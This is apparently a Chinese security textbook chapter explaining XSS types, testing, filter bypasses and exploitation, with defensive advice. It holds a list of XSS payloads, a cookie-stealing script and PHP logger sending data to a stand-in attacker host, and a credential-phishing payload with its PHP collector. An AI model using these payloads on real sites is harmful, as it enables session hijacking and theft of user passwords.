第2章 XSS攻击
XSS攻击(跨站脚本攻击的简称)是指攻击者利用网站程序对用户输入过滤不足的缺陷,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。其英文全称为Cross Site Scripting,原本缩写应当是CSS,但为了和层叠样式表(Cascading Style Sheet, CSS)有所区分,安全专家们通常将其缩写成XSS。
在很多文章及技术博客中,也会将XSS攻击叫做HTML注入攻击。单从漏洞实现效果的角度进行观察,XSS攻击主要影响的是用户端的安全,包含用户信息安全、权限安全等。并且多数XSS攻击都依赖于JavaScript脚本开展。在标准的XSS攻击中,攻击者利用JavaScript脚本制作特定功能,嵌套在网页中并以网页方式发送到用户浏览器上,当用户阅读网页或触发某项规则时,攻击效果展现。所以,在有些地方也叫做HTML/JS注入攻击。
2.1 XSS攻击的原理
跨站脚本攻击本质上是一种将恶意脚本嵌入到当前网页中并执行的攻击方式。通常情况下,黑客通过“HTML注入”行为篡改网页,并插入恶意JavaScript(简称JS)脚本,从而在用户浏览网页的时候控制浏览器行为。这种漏洞产生的主要原因是网站对于用户提交的数据过滤不严格,导致用户提交的数据可以修改当前页面或者插入了一段脚本。
通俗来说,网站一般具有用户输入参数功能,如网站留言板、评论处等。攻击者利用其用户身份在输入参数时附带了恶意脚本,在提交服务器之后,服务器没有对用户端传入的参数做任何安全过滤。之后服务器会根据业务流程,将恶意脚本存储在数据库中或直接回显给用户。在用户浏览含有恶意脚本的页面时,恶意脚本会在用户浏览器上成功执行。恶意脚本有很多种表现形式,如常见的弹窗、窃取用户Cookie、弹出广告等,这也是跨站攻击的直接效果。
一般来说,存在XSS攻击风险的功能点主要涉及以下两种:
● 评价功能
用户输入评论(评论处为攻击代码)→服务器接收到评论并存储(入库存储)→前台自动调用评论→任何人触发评论(直接看到攻击代码)→攻击成功,如图2-1所示。
图2-1 常见的评论功能
● 论坛私信功能
用户发送私信(私信内夹带攻击代码)→服务器接收私信并存储(入库处理)→收信用户打开私信(展示攻击代码)→攻击成功。
上述两个应用功能在各类网站应用中非常常见。XSS攻击的目标为打开已经嵌入XSS攻击代码网页的用户。用户的身份类型各不相同。根据身份特点,重点需要保障的用户信息为:
1)网站的管理员账号信息。
2)网站用户的账号信息及特权、金额等。
3)活跃账号的信息。
……
XSS的攻击面积广,有效信息可直接辅助后续渗透攻击,并且导致的危害绝对不容小觑,因此绝不可坐视不管。
2.2 XSS攻击的分类
XSS攻击通常在用户访问目标网站时或者之后进行某项动作时触发并执行。根据攻击代码的存在地点及是否被服务器存储,并且根据XSS攻击存在的形式及产生的效果,可以将其分为以下三类。
1)反射型跨站攻击:涉及浏览器—服务器交互。
2)存储型跨站攻击:涉及浏览器—服务器—数据库交互。
3)DOM型跨站攻击:涉及浏览器—服务器交互。
目前,可直接产生大范围危害的是存储型跨站攻击。攻击者可利用JS脚本编写各类型攻击,实现偷取用户Cookie、进行内网探测、弹出广告等行为。攻击者构造的JS脚本会被存储型跨站漏洞直接存储到数据库中,一旦有人访问含有XSS漏洞的页面,则攻击者插入的JS脚本生效,攻击成功。接下来,我们会针对各类攻击及思路进行讲解。
2.2.1 反射型XSS
存在反射型XSS漏洞的页面只是将用户输入的数据通过URL的形式直接或未经过完善的安全过滤就在浏览器中进行输出,会导致输出的数据中存在可被浏览器执行的代码数据。由于此种类型的跨站代码存在于URL中,因此黑客通常需要通过诱骗或加密变形等方式,将存在恶意代码的链接发给用户,只有用户点击以后才能使攻击成功实施。
2.2.2 存储型XSS
存储型XSS脚本攻击是指Web应用程序将用户输入的数据信息保存在服务端的数据库或其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示。只要用户访问具有XSS攻击脚本的网页时,就会触发攻击效果,因此存储型XSS具有较强的稳定性。
存储型XSS脚本攻击最为常见的场景就是在博客或新闻发布系统中,黑客将包含恶意代码的数据信息直接写入文章或文章评论中,所有浏览文章或评论的用户就会被黑客在他们的客户端浏览器环境中执行插入的恶意代码。
2.2.3 基于DOM的XSS
严格意义上来讲,基于DOM的XSS攻击并非按照“数据是否保存在服务器端”来划分,其从效果上来说也算是反射型XSS。但是这种XSS实现方法比较特殊,是由JavaScript的DOM节点编程可以改变HTML代码这个特性而形成的XSS攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS攻击往往需要针对具体的JavaScript DOM代码进行分析,并根据实际情况进行XSS攻击的利用。但实际应用中,由于构造语句具有较大的难度,且实现效果及要求较为苛刻,因此较为少见。
2.3 XSS攻击的条件
XSS漏洞的利用过程较为直接。反射型/DOM型跨站攻击均可以理解为:服务器接收到数据,并原样返回给用户,整个过程中Web应用并没有自身的存储过程(存入数据库)。这也就导致了攻击无法持久化,仅针对当次请求有效,也就无法直接攻击其他用户。当然,这两类攻击也可利用钓鱼、垃圾邮件等手段产生攻击其他用户的效果。但是需在社会工程学的配合下执行。随着目前浏览器的各类过滤措施愈发严格,在实战过程中这类攻击的成功率、效果及危害程度均不高。但我们仍需关注这类风险。
在整体流程及防护方面,反射型与存储型XSS攻击的实现原理和主要流程非常相似,但由于存储型XSS攻击的持久性及危害更加强大,因此本章将重点分析存储型跨站攻击,并以此为例进行漏洞分析及防护手段设计。如无明确说明,以下均以存储型跨站攻击作为分析样例。反射型/DOM型跨站攻击的原理及防护手段均与存储型相同,最后再进行总结。
假设攻击者要想成功实施跨站脚本攻击,那么必须对业务流程进行了解,业务主要流程如图2-2所示。从业务流程入手可发现,其中两个业务流程关键点需要重点关注:
图2-2 存储型跨站主要业务流程图
1)入库处理:攻击脚本需存储在数据库中,可供当前应用的使用者读取。
2)出库处理:由当前功能的使用者按照正常的业务流程从数据库中读取信息,这时攻击脚本即开始执行。
在以上两个关键点之内,再对攻击进行分析,并结合XSS攻击的特性可知,XSS攻击成功必须要满足以下四个条件:
(1)入库处理
1)目标网页有攻击者可控的输入点。
2)输入信息可以在受害者的浏览器中显示。
3)输入具备功能的可执行脚本,且在信息输入和输出的过程中没有特殊字符的过滤和字符转义等防护措施,或者说防护措施可以通过一定的手段绕过。
(2)出库处理
浏览器将输入解析为脚本,并具备执行该脚本的能力。
如果要实现一个XSS存储型跨站攻击,以上四点缺一不可。到此,作为系统开发人员或安全运维人员来说,如果需要做针对XSS攻击的防御,只要针对上述任何一点做好防御,攻击就无法正常开展,XSS漏洞也就不存在了。
总结
作为攻击者,如果要利用存储型跨站漏洞攻击,则先要将攻击脚本存储在服务器端,并且保证攻击脚本在读取后可顺利执行。当应用功能对上述条件均满足时,才可保证漏洞被成功利用。
作为防护者,了解到实施存储型跨站攻击的前提及必要条件后,从防护角度,可以选择禁止攻击脚本存储在数据库,即在入库时做处理;或者对攻击脚本进行转义,避免出库时顺利执行。满足以上两种条件中的任何一个即可实现有效的防护。
2.4 漏洞测试的思路
在漏洞存在的情况下,如何有效发现漏洞及确定防护手段,都需要人工根据Web应用的功能特点进行逐项测试。这要求在漏洞测试过程中,假设测试人员是一名攻击者,以攻击手段开展针对目标系统的XSS攻击测试。接下来,我们将结合漏洞挖掘过程进行介绍,了解漏洞挖掘中的关键因素。需要强调的是,测试关键过程也就是需要重点防护的方向。
2.4.1 基本测试流程
XSS漏洞的发现是一个困难的过程,尤其是对于存储型跨站漏洞。这主要取决于可能含有XSS漏洞的业务流程针对用户参数的过滤程度或者当前的防护手段。由于XSS漏洞最终仍需业务使用者浏览后方可触发执行,导致某些后台场景需要管理员触发后方可发现。因此,漏洞是否存在且可被利用,很多时候需要较长的时间才会得到结果。
目前,市面上常见的Web漏洞扫描器均可扫描反射型跨站漏洞,并且部分基于浏览器的XSS漏洞测试插件可测试存储型跨站漏洞。但以上工具均会存在一定程度的误报,因此需要安全人员花费大量时间及精力对检测结果进行分析及测试。这主要是由于存储型跨站攻击必须由用户触发才能被发现。如果用户一直不触发,则漏洞无法检查出来。因此,本章以存储型跨站漏洞为例,分析下漏洞如何被发现和利用,可能产生何种影响。
漏洞的标准挖掘思路如下:
1)漏洞挖掘,寻找输入点。
2)寻找输出点。
3)确定测试数据输出位置。
4)输入简单的跨站代码进行测试。
如果发现存在XSS存储型跨站漏洞,那么就可以根据漏洞详情进行后续利用及目标防护手段测试等。
1.寻找输入点
一般情况下,XSS攻击是通过“HTML注入”方式来实现的。也就是说,攻击者通过提交参数,意图修改当前页面的HTML结构。XSS攻击成功时,提交的参数格式可在当前页面拼接成可执行的脚本。可见,XSS漏洞存在的要求就是:当前页面存在参数显示点,且参数显示点可被用户控制输入。因此,寻找用户端可控的输入点是XSS攻击成功的第一步。
在一个常规的网站中,存储型XSS一般发生在留言板、在线信箱、评论栏等处,表现特征是用户可自行输入数据,并且数据会提交给服务器。通常可以通过观察页面的交互行为来确定输入点。通常情况下,要求可提交数据量至少在20字符以上,否则JavaScript脚本很难执行。在日常应用中,如留言板、在线信箱、评论栏等功能都允许用户输入100字左右,均能达到XSS攻击对允许输入字符的要求。
下面是一个简易的留言板系统,如图2-3所示,可以很直观地观察到输入点的位置。
图2-3 XSS漏洞环境——基础留言板功能
根据上图可知,用户端可控制的输入点为:用户、标题、内容。因此在后续测试过程中,需针对这三个测试点进行定向测试。
除了直接观察之外,利用Web代理工具抓包来查看提交参数也是寻找输入点的一个有效途径。在一些输入点隐蔽或者用户输入被JS脚本限制的页面,可以采用Brupsuite抓包的方式寻找输入点。通过直接抓取HTTP包,观察里面是否有隐藏参数,并且对隐藏参数在页面上进行定位,即可找到输入点位置。
2.测试输出位置
XSS攻击的受害者是访问过包含XSS恶意代码页面的用户,输入内容需要在用户页面上进行展示才能展开XSS攻击。针对一般的留言板、评论栏系统,安全人员能根据经验轻松地判断出输出点的位置;对于一些不常见的系统,可以通过将输入内容在回显页面中进行搜索来确定输出位置。测试主要基于两个目的:
1)确定网站对输入内容是否进行了输出,判断是否可以展开XSS攻击。
2)有时候需要根据输出的位置的HTML环境来编写有效的XSS代码。
针对上一节的留言板系统,通过测试可以很直观地看到输出的方式和位置。
在输入数据的地方进行测试,如图2-4a所示。测试开始之初,可以利用正常内容进行测试,提交后寻找内容显示点以发现输入参数的具体输出位置。需要注意的是,攻击者一般会利用正常内容进行第一步测试,主要是为了避免攻击行为提前暴露。如图2-4b所示,可发现输出位置。
图2-4 利用正常内容寻找输出位置
需要注意的是,有些输出点无法直接回显,例如一些网站的“站长信箱”模块。用户的输入内容可能不会在前台展示,或者需要一定的时间通过人工审核后才能展示,因此也就无法直接观察测试结果,这给测试输出点带来了很大的难度。这种情况下,一般通过经验判断是否会输出,或者直接尝试XSS攻击窃取Cookie。由于后台审核的一般是管理账户,若测试成功可能直接获得管理权限,但直接对管理员实施的XSS攻击也增加了被发现的风险。这也就是俗称的“XSS盲打后台”。
XSS盲打的目标功能点通常有:
● 留言板
● 意见反馈点
● 私信功能
● 文件上传点中的信息输入框
● 在线提交信息等
XSS在语句插入后并不会马上执行,而是在此功能被使用后方能产生效果。可以看出,此类功能点均有很大概率会被管理员运行,导致XSS盲打的攻击代码会在管理员访问此类功能时执行。总之,XSS盲打的目标是找到输入点插入跨站代码,并且要求插入的代码由管理员在正常Web应用流程中触发。因此,如何寻找与管理员的“互动”成为关键点。
3.测试基本跨站代码
通过上面两个步骤的测试,可发现具体的输入点及输出位置,那么存在XSS漏洞的基本条件就已经具备了。但XSS攻击在这个测试点是否能顺利进行,就需要通过一些基本的跨站代码来测试,如果其中环节被过滤,则攻击依然无效。测试XSS攻击的经典方式就是“弹窗测试”,即在输入中插入一段可以产生弹窗效果的JavaScript脚本,如果刷新页面产生了弹窗,表明XSS攻击测试成功。
在留言板中插入如下的弹窗测试脚本:
<script>alert(/xss/)</script>
这段代码的意义是:通过JavaScript执行弹窗命令,弹窗命令为alert,内容为/XSS/。提交位置如图2-5a所示,执行效果如图2-5b所示。
图2-5 弹窗测试脚本成功执行
点击“提交”按钮,并刷新页面。观察网站,发现出现了弹窗,表明测试成功。至此可确认,此功能点存在存储型跨站漏洞。
2.4.2 XSS进阶测试方法
以上介绍了基础的漏洞环境,并且没有添加任何安全防护手段。本节以<script>alert (/xss/)</script>语句为例,后台设置了针对<script></script>标签的过滤。当用户传入的参数包含上述两个标签时,会被直接删掉。在进阶测试阶段,主要目的是识别漏洞的防护方式并寻找绕过思路。通过本书的学习,可了解基础的语句变换方法,方便在后续防护中设计更有针对性的措施。
进阶测试的第一阶段需要在已添加防护功能的页面上,判断漏洞是否存在。判断漏洞是否存在的第一步就是要尝试是否可成功闭合输出点前后的标签。一旦标签闭合成功,则基本可确定XSS漏洞存在。之后再利用各种手段进行绕过尝试,构造可执行的语句即可。最终就可得到漏洞的具体利用方式。
1.闭合标签测试
上节所使用的基本测试代码是用于跨站测试的经典代码,但并不适用于所有地方。在经典测试代码失效的时候,需要对输出点进一步进行分析,判断输出点周围的标签环境,修改测试代码来达到XSS效果。
推荐使用浏览器的“查看网页源代码”功能来分析网页源码,这里先利用正常内容进行测试(测试内容为“444”,测试点为“内容”),以寻找输出点,如图2-6所示。
图2-6 查看源代码,发现内容输出在标签内
注意观察源代码的倒数第二行,发现之前提交的测试内容在一对多行文本框<textarea></textarea>标签中输出。由于存在这对标签,导致在该标签中的内容即使出现了JavaScript脚本,也会被浏览器当成文本内容进行显示,并不会执行JavaScript语句。面对这种参数输出在标签内的情况,在构造注入语句时,需要先闭合前面的<textarea>标签,进而使原有标签内容失效,再构造JavaScript语句。这里使用下面的测试代码:
</textarea><script>alert(/xss/)</script>
其中,</textarea>用于闭合参数输出点前面的<textarea>富文本标签。成功闭合前面的标签后,则后面的Script脚本即可执行。该过程如图2-7所示。
图2-7 闭合页面标签实现弹窗脚本
刷新页面,顺利出现了弹窗,表示XSS测试成功。再观察页面源码内容,如图2-8所示。
图2-8 成功闭合标签实现JavaScript语句执行
在刚才插入的</textarea><script>alert(/xss/)</script>语句中,</textarea>成功闭合了原有页面的<textarea>标签。这就导致<script>alert(/xss/)</script>在HTML结构中,因此可顺利执行。这里可看到后面仍然有一个</textarea>标签,但由于原有的<textarea>标签已被XSS语句成功闭合,因此其没有任何实际效果。闭合标签的主要目标在于可成功修改当前页面结构,此步骤如果成功,基本上可确定XSS漏洞存在。后面只是在测试后台的过滤手段等,以达成更深层面的攻击效果。
2.大小写混合测试
随着Web安全防护技术的进步,稍有安全意识的Web开发者都会使用一定的防护手段来防御XSS攻击。接下来所讲的几种测试方法针对基于黑名单过滤的XSS防护手段进行绕过测试。
所谓黑名单过滤,就是开发者将<script>等易于触发脚本执行的标签关键词作为黑名单,当用户提交的内容中出现了黑名单关键词时,系统会将内容拦截丢弃或者过滤掉关键词,以此来防止触发浏览器的脚本执行功能,避免XSS攻击。
如果黑名单考虑的情况不充分,攻击者就可以利用黑名单之外的关键词来触发攻击。而事实上,由于XSS跨站的类型变化多样,可以利用的代码方式十分丰富,黑名单关键词很难考虑周全,因此给跨站攻击带来了可趁之机。
针对黑名单的攻击思路是,利用非黑名单内的代码进行执行,以绕过当前的防护机制。首先利用经典的跨站代码进行测试,猜测一下后台的过滤机制。有经验的XSS漏洞研究人员会利用查侧漏语句进行尝试,查侧漏语句为XSS中必需的各类关键字及词,如<>、!、'、”、*、#、[]、{}等。当然,也可以直接利用测试语句进行提交测试,这可根据个人习惯确定。我们以测试语句为例,在内容框提交如下信息:
<script>alert(/xss/)</script>
输入后并提交,观察效果。刷新页面,效果如图2-9所示,发现一对<script>标签消失了。
图2-9 <script></script>标签被过滤
查看网页源码,发现在源码处同样缺少了一对<script>标签,只剩下alert(/xss/)。因此可推测后台的防护规则是直接过滤掉了<script>关键词。但由于JavaScript脚本不区分大小写,因此就可尝试测试后台设置关键词的时候是否有遗漏。这里利用大小写组合的关键词来防止<script>被过滤。于是可采用大小写混合的方式,尝试是否能绕过黑名单的限制,测试代码如下:
<sCriPt>alert(/xss/)</scRipt>
测试代码将关键词script中的部分字符进行大写转换,并提交到留言板,如图2-10所示。
图2-10 将标签部分字符转换为大写后提交
这是利用JavaScript不区分大小写的特性,在提交语句时将部分关键词修改为大小写字母形式,达到了避免后台黑名单过滤的效果,如图2-11所示。
图2-11 大写标签成功执行JavaScript脚本
刷新页面,再次出现了弹窗,说明大小写混合的方式绕过了后台的黑名单检测。
针对这种防护效果的缺陷,在实际应用中,系统会对输入数据进行强制小写转换,以提升黑名单的可信度。强制大小写转换功能可利用PHP下的函数进行实现:
● strtolower():将字符串转换为小写形式。
● strtoupper():将字符串转换为大写形式。
使用大小写强制转换之后,可解决利用大小写来绕过黑名单的防护的缺陷,并且再配合完善的黑名单,就可有效提升XSS漏洞的防护效果。
3.多重嵌套测试
当大小写混合的模式行不通时,说明后台对关键词过滤进行了较为严格的转换和校验。在实际应用中,以PHP为例,采用正则表达式来匹配关键词时,忽略大小写进行匹配并不是什么难事。无论在前台给出什么样的大小写组合,只要出现了<script>这个关键词,服务器便会将其从字符串中删除。
那么,继续思考有效的绕过方式。既然当前服务器以过滤关键词为防护手段,那就尝试构造一个多余的关键词来让服务器主动删除,留下的内容会自动拼接成有效词,从而利用服务器过滤代码主动删除敏感字的功能实现绕过。可尝试构建以下测试代码:
<scr<script>ipt>alert(/xss/)</script>
以上测试代码构建思路为:由于<script>标签会被自动删除,因此构造攻击代码为<scr<script>ipt>。这样<script>会被自动删除,留下的<scr、ipt>会自动构成<script>,这样的手段即为多重嵌套测试。
将测试代码进行提交,如图2-12所示。
图2-12 在内容框提交多重嵌套语句
当这段代码被提交到后台时,服务器检测到<scr<script>ipt>中下划线部分的关键词,便会将其删除,之后输出到浏览器的内容变成<script>alert(/xss/)</script>。提交后可看到语句成功执行,效果如图2-13所示。
图2-13 多重嵌套语句执行成功
此处要说明的是,如果服务器过滤规则更严格一些,可能会通过循环类删除关键词,即只要字符串中还存在关键词,程序就会循环往复继续删除。这种情况下多重嵌套测试就不适用了。
针对嵌套的防护代码为:
if(preg_match('/(<script>|</script>)+/', $string)){ return false; }
利用正则表达式即可实现对嵌套单词的过滤,从而避免利用嵌套方式绕过后台检测。因此当Web应用使用这段代码或者类似的语句进行防护时,之前所用的XSS漏洞测试代码均没有任何效果。类似的防护手段还有很多,防护代码也需要根据实际情况及防护需求进行变更,从而获得更好的防护效果。
4.宽字节绕过测试
如果目标服务器采取了黑名单+强制转换格式+多重嵌套过滤手段,那么仅通过对脚本中的关键词做基本变形已无法绕过防护机制。针对这种防护,后续的有效思路在于尝试提交的关键词绝对不能与黑名单中的关键词重合,也就是说,提交的参数应避免触发黑名单机制。这里会利用宽字节的测试手段。
在了解宽字节绕过之前,需先了解常见的中文编码格式。GB2312、GBK、GB18030、BIG5、Shift_JIS等都是常用的宽字节编码,这类编码方案在针对字符进行编码时利用两字节进行编码。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。下面以实例来讲解宽字节的问题,并在此过程中讲解具体原理。页面效果如图2-14所示。
图2-14 宽字节绕过防护脚本的演示页面
这里仅有一个用户参数提交功能。首先尝试在文本框中输入测试字符alice,点击“提交”按钮,可看到在URL处,user参数为alice。如图2-15所示。
图2-15 输入正常参数后发现以GET方式传输
在初始页面文本框中输入的字符被浏览器用GET方式提交到了后台,并在一个富文本框中进行了显示。查看页面的源码,看看之前输入的数据是怎样输出的,如图2-16所示。
图2-16 寻找参数的输出位置
在图2-16中可以看到,输入的用户名放在了<textarea>标签的JS属性中。这种情况下,首先需要尝试闭合参数前面的单引号,然后就可以借助这个标签的JS属性来执行脚本。于是构造下面一段代码来尝试闭合单引号:
'; alert(/xss/); //
通过修改URL中的参数来提交这段代码。在前面的测试中,可以观察到提交的数据是使用user参数进行传递的,故此处修改URL中的该参数值为上述跨站代码,然后访问这个新的URL,如图2-17所示。
图2-17 尝试闭合单引号
可以看到,如果利用传统的“闭合单引号,扩展JavaScript语句”方法,无法实现弹窗触发。这时,利用浏览器的源码浏览功能查看当前页面的源码,如图2-18所示。
图2-18 查看站点源码,观察输入参数已被转义
从图中可以看到,之前提交数据中的单引号被转义了。按正常浏览器解析流程,如果用户输入中的特殊字符被转义了,并放到了引号之中,那么用户就无法打破之前的JS属性构造来扩展JS语句。但是,从源码第三行可以看到,网页返回的编码方式为gbk(http-equiv=“Content-Type”)。GBK编码存在宽字节的问题,主要表现为GBK编码第一字节(高字节)的范围是0x81~0xFE,第二字节(低字节)的范围是0x40~0x7E与0x80~0xFE。GBK就是以这样的十六进制来针对字符进行编码。在GBK编码中,“\”符号的十六进制表示为0x5C,正好在GBK的低字节中。因此,如果在后面添加一个高字节编码,那么添加的高字节编码会与原有编码组合成一个合法字符。于是重新构造跨站代码如下:
%bf'; <script>alert(/xss/)</script>; //
修改提交参数为以上代码后重新提交,脚本被成功执行。如图2-19所示。
图2-19 利用宽字节漏洞成功执行JS脚本
可以看到,成功出现了弹窗。再来回顾一下原因,由于%bf在GBK编码的高字节范围,与后台转义单引号(')生成的斜杠(\)相结合,正好组成了汉字“縗”的GBK编码,这个时候斜杠对单引号的转义效果便失效了,成功触发了XSS。宽字节利用环境较为苛刻,对PHP版本、当前页面编码均有严格限制。一旦满足宽字节存在的环境,那么针对各种关键词的过滤就可以进行绕过。不过,目前新站点普遍采用了UTF-8编码,因此在实际情况下,存在宽字节漏洞的环境也越来越少。
5.多标签测试
在测试XSS的过程中,能够触发弹窗效果的远不止<script>这一种标签。在不同的浏览器、不同的场景、不同的环境下,能够触发攻击效果的跨站代码也不尽相同。下面根据来自互联网的公开资料,整理了一份常见的跨站代码列表(XSS Sheet),在测试的过程中可以使用其中的一些来检测弹窗效果,从而判断该标签是否可用于跨站攻击。
需要注意的是,很多已公开的XSS Sheet中存在大量目前无法再使用的语句,这主要与XSS语句触发时,用户的浏览器版本、XSS漏洞环境及防护方式、输出点所在的位置等有直接关系。以下语句主要供学习参考,可观察各类语句的写法,更好地了解XSS的攻击方式及构造原理。当然在实际中,可利用的方式远不止于此。
"><iframe src=http://XXX.XXX> '; alert(String.fromCharCode(88,83,83))//\'; alert(String.fromCharCode(88,83,83)) //"; alert(String.fromCharCode(88,83,83))//\"; alert(String.fromCharCode(88,83,83))// --></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ''; ! --"<XSS>=&{()} <IMG SRC="javascript:alert('XSS'); "> <IMG SRC=javascript:alert('XSS')> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javascript:alert(" XSS" )> <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=j a v a s c r i p t : a  08; e r t ( ' X S S ' ) > <IMG SRC=javascr 05pt:alert( 'XSS')> <IMG SRC=javascript:ale rt('XSS')> <IMG SRC="jav ascript:alert('XSS'); "> <IMG SRC="jav	 ascript:alert('XSS'); "> <IMG SRC="jav
 ascript:alert('XSS'); "> <IMG SRC="jav
 ascript:alert('XSS'); "> <BODY onload! #$%&()*~+-_., :; ? @[/|\]^`=alert("XSS")> <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS'); "> <BODY BACKGROUND="javascript:alert('XSS')"> <BODY ONLOAD=alert('XSS')> <IMG LOWSRC="javascript:alert('XSS')"> <LINK REL="stylesheet" HREF="javascript:alert('XSS'); "> <IMG SRC='vbscript:msgbox("XSS")'> <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\ 0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029'\ 0029"> "><script >alert(document.cookie)</script> %253cscript%253ealert(document.cookie)%253c/script%253e '; alert(document.cookie); var foo='
XSS语句的基本特点是利用各类JS脚本特性来设计触发点,攻击代码则可利用各类型编码或者外部引用方式进行加载。以上仅给出了其中的一小部分,在实践中千变万化,利用方式也各不相同。
目前存在XSS攻击漏洞的业务系统非常多,这主要与Web系统与用户的交互功能逐渐完善有着直接的关系,很多钓鱼功能都会利用反射型跨站。
IE\Chrome\Firefox浏览器中的XSS Filter(针对XSS攻击的过滤器)包含语句非常全面,以上的测试语句在反射型跨站时已基本无法使用。需要注意的是,存储型跨站由于攻击代码由Web站点在其数据库中读取,因此不会进入浏览器的XSS Filter中,只要符合html格式,那么都可执行。浏览器的过滤机制在于会提前识别post或get方法传递参数过滤中是否存在跨站代码,再根据服务器的响应包内容进行判断,如果存在则禁止显示。
2.4.3 测试流程总结
以上介绍了标准漏洞挖掘及测试流程。在测试过程中,需先判断漏洞存在的基本环境,再根据环境测试有效的XSS语句。本节将总结存储型XSS漏洞测试流程,用图2-20展示,希望读者对测试流程有更清晰的了解(反射型跨站漏洞与存储型跨站漏洞相比,只是缺少了存入数据库的步骤)。
图2-20 XSS漏洞测试流程总结
2.5 XSS攻击的利用方式
XSS攻击广泛存在于有数据交互的地方,OWASP TOP 10多次把XSS威胁列在前位。之前所使用的弹窗测试只是用来证明XSS的存在,但远远不能说明XSS的危害,毕竟弹出窗口、显示文字等并不会对用户产生实质性影响。事实上,XSS脚本具有相当大的威胁,其危害远比想象中要严重。究其原因,一方面是脚本语言本身具有强大的控制能力,另一方面是能带来对浏览器漏洞利用的权限提升。本节将介绍一些常见的XSS利用方式。
2.5.1 窃取Cookie
如果说弹窗是XSS测试中一种经典的测试方式,那么窃取Cookie则是XSS攻击的一个常见的行为。由于HTTP的特性,Cookie是目前Web系统识别用户身份和会话保存状态的主要方式。一旦应用程序中存在跨站脚本执行漏洞,那么攻击者就能利用XSS攻击轻而易举地获取被攻击者的Cookie信息,并伪装成当前用户登录,执行恶意操作等行为。如果受害用户是管理员,那么攻击者甚至可以轻易地获取Web系统的管理权限。这类权限通常会有文件修改、上传,连接数据库等功能,再配合后续的攻击,会给当前Web应用安全带来很大的威胁。
攻击者要通过XSS攻击获取用户的Cookie,就需要编写对应的获取当前用户Cookie的脚本。这里假设攻击者在一个常规运行的网站的留言板上发现了一个存储型的XSS漏洞,那么攻击者就可以使用下面的代码进行跨站攻击:
<script> Document.location='http://www.xxx.com/cookie.php? cookie='+document.cookie; </script>
当用户浏览到留言板上的这条信息时,浏览器会加载这段留言信息,从而触发了这个JS攻击脚本。攻击脚本便会读取该正常网站下的用户Cookie,并将Cookie作为参数以GET方式提交到攻击者的远程服务器www.xxx.com。在该远程服务器中,攻击者事先准备好了一个cookie.php放在Web根目录,代码如下:
<? php $cookie = $_GET['cookie']; $log = fopen("cookie.txt", "a"); Fwrite($log, $cookie."/n"); Fclose($log); ?>
当有用户触发攻击时,攻击者服务器中的cookie.php便会接收受害者传入的Cookie,并保存在本地文件cookie.txt中。若Cookie还在有效期内,攻击者便可以利用该Cookie伪装成受害用户进行登录,进行非法操作。
2.5.2 网络钓鱼
通过上述介绍,我们可直观地了解攻击者如何利用XSS漏洞并使用JS脚本来窃取用户的Cookie。攻击者精心构造的跨站代码可以实现更多功能,诸如改变网站的前端页面、构造虚假的表单来诱导用户填写信息等。如果攻击者利用一个正规网站的XSS漏洞来伪造一个钓鱼页面,那么与传统的钓鱼网站相比,从客户端浏览器的地址栏看起来XSS伪造的钓鱼页面属于该正规网站,具有非常强的迷惑性。
利用XSS实现的网络钓鱼有很多种方式,下面以HTML注入的基础认证钓鱼为例来领略一下它的效果以及迷惑性。
我们还是利用之前的留言板环境。假设这是一个正规网站的留言系统,通过前面所述的测试方法,成功地发现这个页面存在XSS漏洞。为了直观地展示钓鱼的效果,以下的演示环境在后台没有对用户的输入进行任何过滤。攻击者构造了如下一段跨站代码:
</script><script src="http://www.xxx.com/auth.php? id=yVCEB3&info=input+your+account"> </script><script>
其中,域名http://www.xxx.com是攻击者自己的服务器,攻击者在上面提前写好了一个PHP文件,命名为auth.php,代码如下:
<? error_reporting(0); /* 检查变量 $PHP_AUTH_USER 和$PHP_AUTH_PW 的值*/ if ((! isset($_SERVER['PHP_AUTH_USER'])) || (! isset($_SERVER['PHP_AUTH_PW']))) { /* 空值:发送产生显示文本框的数据头部*/ header('WWW-Authenticate:Basic realm="'.addslashes(trim($_GET['info'])).'"'); header('HTTP/1.0 401 Unauthorized'); echo 'Authorization Required.'; exit; } Else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_ PW']))){ /* 变量值存在,检查其是否正确 */ header("Location: http://www.xxx.com/index.php? do=api&id={$_GET[id]}&username={$_SERVER[PHP_AUTH_ USER]}&password={$_SERVER[PHP_AUTH_PW]}"); } ?>
这里使用演示系统进行基础认证钓鱼测试。点击“钓鱼代码”,会自动填充演示系统中用于钓鱼的跨站攻击代码。效果如图2-21所示。
图2-21 利用401认证实现用户信息钓鱼
此时,当用户刷新网页触发XSS攻击时,页面会弹出基础认证框,让用户误认为正规网站需要再次进行密码校验。由于在当前页面触发,大多数用户并不会对此产生警觉,而是选择输入当前用户名及密码信息。用户在此输入的账号及密码会被攻击者通过服务器上预设的接收页面进行保存,这样一次基于XSS漏洞的基础认证钓鱼就完成了。在存储型跨站环境下,数据库的脚本均会被可看到的用户执行。因此如果在合理的位置插入,在短时间之内即可获得大量的用户登录信息。
常见的XSS网络钓鱼方式还有重定向钓鱼、跨框架钓鱼等,高级的网络钓鱼还可以劫持用户表单获取明文密码等,每种钓鱼都要依据跨站漏洞站点的实际情况来部署XSS代码,伪造方式也是层出不穷,感兴趣的读者请自行在互联网上查阅相关资料。
2.5.3 窃取客户端信息
攻击者在筹备一场有预谋的攻击时,获取尽可能多的攻击对象信息是必不可少的,而JS脚本可以帮助攻击者通过XSS漏洞的利用来达到这个目的。通过使用JS脚本,攻击者可以获取用户浏览器访问记录、IP地址、开放端口、剪贴板内容、按键记录等许多敏感信息,并将其发送到自己的服务器保存下来。下面以监听用户键盘动作为例,看看如何通过跨站代码来实现。
